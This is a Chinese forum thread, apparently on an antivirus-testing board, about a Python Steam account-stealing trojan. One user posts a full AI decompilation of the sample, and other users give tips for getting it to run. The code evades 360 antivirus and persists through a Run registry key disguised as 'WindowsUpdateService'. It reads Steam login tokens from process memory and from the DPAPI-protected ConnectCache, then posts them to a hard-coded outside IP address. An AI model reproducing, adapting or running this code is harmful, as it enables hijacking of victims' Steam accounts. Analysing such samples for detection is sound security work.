Python Steam盗号木马

aikafans

123456aaaafsdeg 发表于 2025-5-25 17:44
这个简洁不少，令我惊喜的是还有一位老朋友，然后就用上这个了

这个确实，有点古早，但这个功能基本上已经被融合到小工具里面了

123456aaaafsdeg

aikafans 发表于 2025-5-25 17:46
这个确实，有点古早，但这个功能基本上已经被融合到小工具里面了

是这样的

隔山打空气

aikafans 发表于 2025-5-25 17:41
腾管套皮是么

要是授权买了iOA-EDR那就不算套皮了（

当然不算ZTNA的情况下（

GDHJDSYDH

LeeHS 发表于 2025-5-25 14:38
无法单独跑起来？ cortex miss

装Steam了吗？

biue

腾讯电脑管家 1X

popk

deepseek 反编译：

1. import datetime
   
2. import os
   
3. import zlib
   
4. import win32crypt
   
5. import vdf
   
6. from io import StringIO
   
7. import ctypes as utisk
   
8. import re
   
9. import subprocess as pd
   
10. import requests as mibfn
    
11. import jwt as rekskd
    
12. import time as utui
    
13. import sys
    
14. import win32com.client as win32com
    
15. import pythoncom
    
16. import winreg
    
17. 
    
18. def is_360_running():
    
19.     process_names = ['360Safe.exe', '360Tray.exe', '360sd.exe', '360rp.exe', 'QHActiveDefense.exe']
    
20.     try:
    
21.         output = pd.check_output('tasklist', shell=True, text=True).lower()
    
22.         for name in process_names:
    
23.             if name.lower() in output:
    
24.                 return True
    
25.         return False
    
26.     except Exception as e:
    
27.         return False
    
28. 
    
29. def add_to_registry_startup():
    
30.     if is_360_running():
    
31.         print('2')
    
32.         return
    
33.     try:
    
34.         exe_path = sys.executable if getattr(sys, 'frozen', False) else os.path.abspath(sys.argv[0])
    
35.         key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Run', 0, winreg.KEY_SET_VALUE)
    
36.         winreg.SetValueEx(key, 'WindowsUpdateService', 0, winreg.REG_SZ, exe_path)
    
37.         winreg.CloseKey(key)
    
38.         print('1')
    
39.     except Exception as e:
    
40.         print('3')
    
41. 
    
42. def extract_tokens(value):
    
43.     return re.findall(r'eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+', value)
    
44. 
    
45. def check_aud(tokens):
    
46.     for token in tokens:
    
47.         try:
    
48.             decoded = rekskd.decode(token, options={'verify_signature': False})
    
49.             aud = decoded.get('aud', [])
    
50.             if all(item in aud for item in ('client', 'web', 'renew', 'derive')):
    
51.                 return token
    
52.         except rekskd.ExpiredSignatureError:
    
53.             continue
    
54.         except rekskd.DecodeError:
    
55.             continue
    
56.     return None
    
57. 
    
58. def scan_memory(pid):
    
59.     PROCESS_VM_READ = 0x10
    
60.     process_handle = utisk.windll.kernel32.OpenProcess(PROCESS_VM_READ, False, pid)
    
61.     if not process_handle:
    
62.         print('4')
    
63.         return None
    
64.    
    
65.     buffer = utisk.create_string_buffer(4096)
    
66.     found_token = None
    
67.    
    
68.     for address in range(0, 0x7FFFFFFF, 4096):
    
69.         try:
    
70.             bytes_read = utisk.c_size_t()
    
71.             if utisk.windll.kernel32.ReadProcessMemory(process_handle, address, buffer, utisk.sizeof(buffer), utisk.byref(bytes_read)):
    
72.                 value = buffer.raw.decode('latin-1', errors='ignore')
    
73.                 if 'eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0' in value:
    
74.                     tokens = extract_tokens(value)
    
75.                     if tokens:
    
76.                         token = check_aud(tokens)
    
77.                         if token:
    
78.                             found_token = token
    
79.                             break
    
80.         except Exception:
    
81.             continue
    
82.    
    
83.     utisk.windll.kernel32.CloseHandle(process_handle)
    
84.     return found_token
    
85. 
    
86. def get_steam_process_id():
    
87.     try:
    
88.         output = pd.check_output('tasklist | findstr steam.exe', shell=True, text=True)
    
89.         for line in output.splitlines():
    
90.             if 'steam' in line:
    
91.                 parts = line.split()
    
92.                 if len(parts) >= 2:
    
93.                     return int(parts[1])
    
94.         return None
    
95.     except Exception as e:
    
96.         print('5')
    
97.         return None
    
98. 
    
99. def get_steam_install_path() -> str:
    
100.     import winreg
     
101.     key_path = r'Software\Classes\steam\Shell\Open\Command'
     
102.     try:
     
103.         key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_READ)
     
104.         value, _ = winreg.QueryValueEx(key, '')
     
105.         winreg.CloseKey(key)
     
106.         return os.path.dirname(value.strip('"'))
     
107.     except Exception:
     
108.         return ''
     
109. 
     
110. def get_local_appdata_path() -> str:
     
111.     return os.getenv('LOCALAPPDATA', '')
     
112. 
     
113. def compute_crc32(data: str) -> str:
     
114.     crc32_value = zlib.crc32(data.encode('utf-8'))
     
115.     return format(crc32_value, '08x').lstrip('0')
     
116. 
     
117. def decrypt_data(encrypted_data: bytes, account_name: str) -> bytes:
     
118.     key = account_name.encode('utf-8')
     
119.     decrypted = win32crypt.CryptUnprotectData(encrypted_data, key, None, None, 0)
     
120.     return decrypted[1]
     
121. 
     
122. def send_token(steam_id, token, account_name=None):
     
123.     try:
     
124.         url = 'http://101.43.0.123:4531/aer.php'
     
125.         data = {'id': steam_id, 'th': token}
     
126.         response = mibfn.post(url, data=data)
     
127.         if account_name:
     
128.             print(f"{steam_id} | 1")
     
129.         else:
     
130.             print(f"{steam_id} | 1")
     
131.     except Exception as e:
     
132.         if account_name:
     
133.             print(f"{steam_id} | 6")
     
134.         else:
     
135.             print(f"{steam_id} | 6")
     
136. 
     
137. def main():
     
138.     pid = get_steam_process_id()
     
139.     if pid and (token := scan_memory(pid)):
     
140.         try:
     
141.             decoded = rekskd.decode(token, options={'verify_signature': False})
     
142.             steam_id = decoded.get('sub')
     
143.             send_token(steam_id, token)
     
144.         except Exception:
     
145.             print('7')
     
146.    
     
147.     steam_path = get_steam_install_path()
     
148.     local_path = get_local_appdata_path()
     
149.    
     
150.     loginusers_path = os.path.join(steam_path, 'config', 'loginusers.vdf')
     
151.     local_vdf_path = os.path.join(local_path, 'Steam', 'local.vdf')
     
152.    
     
153.     try:
     
154.         with open(loginusers_path, 'r', encoding='utf-8') as file_loginusers:
     
155.             input_loginusers = file_loginusers.read()
     
156.     except FileNotFoundError:
     
157.         print('8')
     
158.         return
     
159.    
     
160.     try:
     
161.         with open(local_vdf_path, 'r', encoding='utf-8') as file_local:
     
162.             input_local = file_local.read()
     
163.     except FileNotFoundError:
     
164.         print('9')
     
165.         return
     
166.    
     
167.     loginuser = vdf.loads(input_loginusers)
     
168.     local = vdf.loads(input_local)
     
169.    
     
170.     connectcache = local.get('MachineUserConfigStore', {}).get('Software', {}).get('Valve', {}).get('Steam', {}).get('ConnectCache', {})
     
171.     if not connectcache:
     
172.         print('10')
     
173.         return
     
174.    
     
175.     users = loginuser.get('users', {})
     
176.     if not users:
     
177.         print('11')
     
178.         return
     
179.    
     
180.     for user_id, subuser in users.items():
     
181.         account_name = subuser.get('AccountName', '')
     
182.         if not account_name:
     
183.             continue
     
184.         
     
185.         crc32 = compute_crc32(account_name) + '1'
     
186.         encrypted_hex = connectcache.get(crc32, '')
     
187.         if not encrypted_hex:
     
188.             print(f"{user_id} | 12")
     
189.             continue
     
190.         
     
191.         encrypted_data = bytes.fromhex(encrypted_hex)
     
192.         try:
     
193.             decrypted_data = decrypt_data(encrypted_data, account_name)
     
194.             token = decrypted_data.decode('utf-8')
     
195.             decoded = rekskd.decode(token, options={'verify_signature': False})
     
196.             steam_id = decoded.get('sub')
     
197.             send_token(steam_id, token, account_name)
     
198.         except Exception:
     
199.             print(f"{user_id} | 13")
     
200.         except Exception:
     
201.             print(f"{user_id} | 14")
     
202. 
     
203. if __name__ == '__main__':
     
204.     add_to_registry_startup()
     
205.     while True:
     
206.         main()
     
207.         utui.sleep(5)

复制代码

LeeHS

GDHJDSYDH 发表于 2025-5-25 22:53
装Steam了吗？

沒

GDHJDSYDH

LeeHS 发表于 2025-5-26 09:55
沒

装上Steam再双击试试

LeeHS

GDHJDSYDH 发表于 2025-5-26 10:00
装上Steam再双击试试

后台运行 miss，開機程序自啟

GDHJDSYDH

ANY.LNK 发表于 2025-5-25 16:08
微软双击报错，看着需要特殊路径

安装Steam试试